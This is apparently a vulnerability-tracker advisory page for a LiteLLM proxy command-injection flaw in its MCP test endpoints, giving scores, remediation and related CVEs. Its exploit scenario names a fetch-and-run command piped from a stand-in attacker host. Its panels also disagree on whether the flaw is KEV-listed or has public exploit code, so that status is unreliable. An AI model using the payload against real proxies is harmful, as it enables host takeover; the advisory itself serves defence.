Skip to main content

LiteLLM EUVDEUVD-2026-28507

| CVE-2026-42271 HIGH
Command Injection (CWE-77)
2026-05-08 GitHub_M GHSA-v4p8-mg3p-g94g
8.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid API key
  2. Delivery
    Craft stdio MCP config with malicious command
  3. Exploit
    POST to /mcp-rest/test/connection
  4. Execution
    LiteLLM spawns subprocess
  5. Persist
    Execute arbitrary code as proxy user
  6. Impact
    Compromise host system

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires possession of any valid LiteLLM proxy API key, including low-privilege internal-user keys that lack PROXY_ADMIN role. Exploitation targets the MCP (Model Context Protocol) functionality present in versions 1.74.2 through 1.83.6. Network access to the LiteLLM proxy HTTP API endpoints /mcp-rest/test/connection or /mcp-rest/test/tools/list is required. No user interaction needed (UI:N). The vulnerability exists in default configurations with no additional feature enablement required. Attack complexity is low (AC:L) but timing constraints apply (AT:P), likely referring to the need to intercept or craft requests during MCP server configuration workflows. Exploitation is LIMITED by: authentication requirement (any API key), network accessibility to the proxy endpoints, and the attacker's knowledge of LiteLLM's MCP functionality. Deployments that restrict API key distribution to administrators only or block MCP endpoints at perimeter are not exploitable.

Impact

The CVSS 4.0 score of 8.7 reflects high severity across confidentiality, integrity, and availability (VC:H/VI:H/VA:H) with network attack vector (AV:N) and low complexity (AC:L). However, exploitation requires low-privileged authentication (PR:L) and precise attack timing (AT:P), suggesting attackers need valid API credentials. The lack of CISA KEV listing indicates no confirmed widespread exploitation, and no public exploit code is documented. Real-world risk depends heavily on deployment posture: organizations using LiteLLM with multiple internal API keys distributed to users face immediate critical risk, as any key holder can achieve full host compromise. Conversely, deployments where only administrators hold API keys have reduced attack surface. The scope change to high (SC:H) indicates potential container escape or lateral movement depending on proxy process privileges. Missing EPSS data prevents quantitative exploitation probability assessment. SSVC framework assessment: exploitation not confirmed active, technical impact is total system compromise, automatable once credentials obtained. This is a genuine high-severity issue requiring urgent patching in multi-user deployments, not merely a high-CVSS theoretical risk.

Exploit ScenarioDerived

An attacker with a low-privilege internal-user API key sends a POST request to /mcp-rest/test/connection with a crafted JSON payload containing a stdio transport configuration. The command field specifies 'curl http://attacker.com/shell.sh | bash', args is empty, and env contains exfiltration variables. The LiteLLM proxy spawns this command with its own process privileges, establishing reverse shell access to the host system with full proxy permissions.

Act Now Prioritize within 24-48h. Why: In CISA KEV with patch available.
Exploited in the wild (CISA KEV) Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Remote command execution in LiteLLM proxy server versions 1.74.2 through 1.83.6 allows any authenticated user to execute arbitrary commands on the host system. Two MCP (Model Context Protocol) test endpoints accept stdio transport configurations including command, args, and env fields, then spawn the supplied command as a subprocess with proxy process privileges. Authentication with any valid API key, including low-privilege internal-user keys, bypasses intended PROXY_ADMIN role restrictions. Patch available in version 1.83.7. No CISA KEV listing or public exploit code identified at time of analysis, though EPSS scoring is not provided in available data.

RemediationAI

Upgrade to LiteLLM version 1.83.7 or later, which enforces PROXY_ADMIN role checks on both vulnerable endpoints. For pip installations, run 'pip install --upgrade litellm'. For Docker deployments, pull ghcr.io/berriai/litellm:v1.83.7-stable and verify image signature using cosign per vendor instructions at https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable. If immediate upgrade is not feasible, block POST requests to /mcp-rest/test/connection and /mcp-rest/test/tools/list at reverse proxy or API gateway level using URL path filtering. This workaround prevents exploitation but disables MCP server preview functionality. Additionally, audit all issued API keys and revoke unnecessary low-privilege internal-user keys to reduce attack surface. Review proxy process security context and consider running LiteLLM with reduced privileges or in isolated containers to limit blast radius. No additional code changes or configuration modifications required after upgrading to patched version.

Affected VersionsENISA

LiteLLM 1.74.2, < 1.83.7

Affected Packages

pypi litellm fix: 1.83.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LiteLLM is an AI Gateway proxy server that provides OpenAI-compatible interfaces for various LLM APIs. The vulnerability affects MCP (Model Context Protocol) server testing functionality introduced in version 1.74.2. MCP uses stdio transport to communicate with external tools/servers, requiring command execution on the host. The POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list endpoints accept JSON configurations containing command, args, and env parameters for stdio transport. These endpoints lack proper authorization checks, validating only API key presence without verifying PROXY_ADMIN role membership. This represents CWE-77 (Command Injection) combined with an authorization bypass, where user-controlled input flows directly into subprocess.spawn() or equivalent system calls. The affected CPE is cpe:2.3:a:berriai:litellm:*:*:*:*:*:*:*:*, covering all deployment methods (pip package, Docker container).

Know when Litellm gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
Red Hat 8.8 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Added to CISA KEV
Jun 08, 2026 - 17:16 CISA
Patch available
May 08, 2026 - 05:01 EUVD
CVSS changed
May 08, 2026 - 04:22 NVD
8.7 (HIGH)
CVE Published
May 08, 2026 - 03:35 nvd
HIGH 8.7

DescriptionCVE.org

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it - POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list - accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user - including holders of low-privilege internal-user keys - could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.

Executive ViewAI

Why It Matters

LiteLLM proxy server versions 1.74.2 through 1.83.6 contain a remote command execution vulnerability that allows any authenticated user with a valid API key to execute arbitrary commands with proxy process privileges, potentially compromising the entire host system. Organizations running affected versions face immediate risk of lateral movement, data exfiltration, and service disruption if user API keys are obtained or distributed.

Business Impact: High
Compensating Controls

Until upgrade to version 1.83.7 is completed: (1) disable or restrict network access to the two affected MCP test endpoints (/mcp or similar paths handling stdio transport) via firewall or API gateway rules; (2) implement strict API key access controls and disable any low-privilege keys not actively required; (3) enable comprehensive command execution logging and implement real-time alerting on subprocess spawning from proxy processes; (4) run proxy service under a dedicated, non-root user account with minimal file system and system permissions to limit blast radius of command execution.

Threat Intelligence Overview

Threat Score
4.7/10
Composite threat intelligence
EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
10 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV Yes
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat Yes
Deciding rule
In CISA KEV with patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

129
Low Medium High Critical
KEV: +50
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: +15
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Related Vulnerabilities in LiteLLM API Injection and Template Vulnerabilities

View all 3
CVE-2026-59822 HIGH POC
8.8 Jul 08

Authentication bypass in LiteLLM (BerriAI) proxy/AI Gateway before 1.84.0 lets a remote unauthenticated attacker reach M

CVE-2024-2952 CRITICAL POC
9.8 Apr 10

BerriAI/litellm is vulnerable to Server-Side Template Injection (SSTI) via the `/completions` endpoint. Rated critical s

CVE-2026-40217 HIGH POC
8.8 Apr 10

Remote code execution in BerriAI LiteLLM (all versions through 2026-04-08) enables authenticated attackers to execute ar

CVE-2024-4888 HIGH POC
8.1 Jun 06

BerriAI's litellm, in its latest version, is vulnerable to arbitrary file deletion due to improper input validation on t

CVE-2026-93355 HIGH POC
7.6 Sep 28

Authentication bypass in the LiteLLM proxy lets any party who already holds a valid JWT issued by the configured externa

CVE-2025-0330 HIGH POC
7.5 Mar 20

In berriai/litellm version v1.52.1, an issue in proxy_server.py causes the leakage of Langfuse API keys when an error oc

CVE-2024-9606 HIGH POC
7.5 Mar 20

In berriai/litellm before version 1.44.12, the `litellm/litellm_core_utils/litellm_logging.py` file contains a vulnerabi

CVE-2024-6587 HIGH POC
7.5 Sep 13

A Server-Side Request Forgery (SSRF) vulnerability exists in berriai/litellm version 1.38.10. Rated high severity (CVSS

CVE-2024-5225 HIGH POC
7.2 Jun 06

An SQL Injection vulnerability exists in the berriai/litellm repository, specifically within the `/global/spend/logs` en

CVE-2024-4889 HIGH POC
7.2 Jun 06

A code injection vulnerability exists in the berriai/litellm application, version 1.34.6, due to the use of unvalidated

CVE-2024-5710 MEDIUM POC
6.5 Jun 27

berriai/litellm version 1.34.34 is vulnerable to improper access control in its team management functionality. Rated med

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy